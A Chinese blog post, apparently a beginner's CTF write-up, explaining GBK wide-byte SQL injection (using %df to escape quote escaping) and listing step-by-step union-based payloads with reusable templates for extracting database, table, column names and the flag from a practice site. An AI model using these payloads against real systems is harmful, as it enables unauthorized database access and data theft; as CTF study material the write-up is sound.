ctf

cg-ctf GBK Injection

2019-07-25  本文已影响0人  byc_404

  这几天开始逐渐接触sql注入之类的ctf题目,由于自己太菜,只能依葫芦画瓢混了几个flag,结果最后也没有感觉真正学到什么。

  但是,在做cg-ctf上这道GBK-injection时,即使是按照wp知道的思路,但还是学到了不少。

题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

(起初看到的wp是用sqlmap做的,但是我电脑上只有python3,跑不起来,,,只能回头在虚拟机里用了)

首先是GBK注入的原理,参考了大佬的总结:https://blog.csdn.net/weixin_42419856/article/details/82872653

这里简而言之,是利用了注入时对单引号' 的依赖,由于gbk是宽字符集,sql使用gbk字符时,一个gbk编码的汉字占两个字节。比如:%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’。这个例子在道哥的《白帽子讲web安全》中也有提到

所以网上许多篇wp中为了使单引号逃逸而使用了%df(ascii码值大于128,使得认定为宽字符,因此还有许多其他的url编码可以使用)就是这个道理。

下面是手工注入的几个步骤:

1.盲注:

?id=1%df' and 1=2 %23

页面正常返回,确认该点存在注入

2.查数据库名

?id=1%df' and 1=2 union select 1,database() %23

确认了库名为sae-chinalover

得到库名

3.查表名

?id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=0x7361652d6368696e616c6f766572 %23

这里的查表公式如下:

 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=(十六进制数据库名,也就是sae-chinalover的十六进制) %23   

得到六张表名

4.查列名

这里都试了一遍查表的url,终于在gbksqli里找到了列flag......(其实从ctf的尿性看,与gbk名字相关的表有flag概率很大)

id=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMNS where table_name=0x67626b73716c69 %23

得到gbksqli列名flag

查列名公式如下:

?id = 1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMN where table_name=(十六进制某表名) %23

这里如果有sqlmap就简单多了。。。不用一个个看有没有回显

5.得flag值

?id=1%df' and 1=2 union select 1,flag from gbksqli %23

flag值

终于得到了flag

获取列中数据公式如下:

?id = 1%df' and 1=2 union select 1,(某列名) from (某表名) %23  ---------------获取列中数据

今后会开始逐渐尝试做下sql注入的题目,完善技巧。

上一篇下一篇

猜你喜欢

热点阅读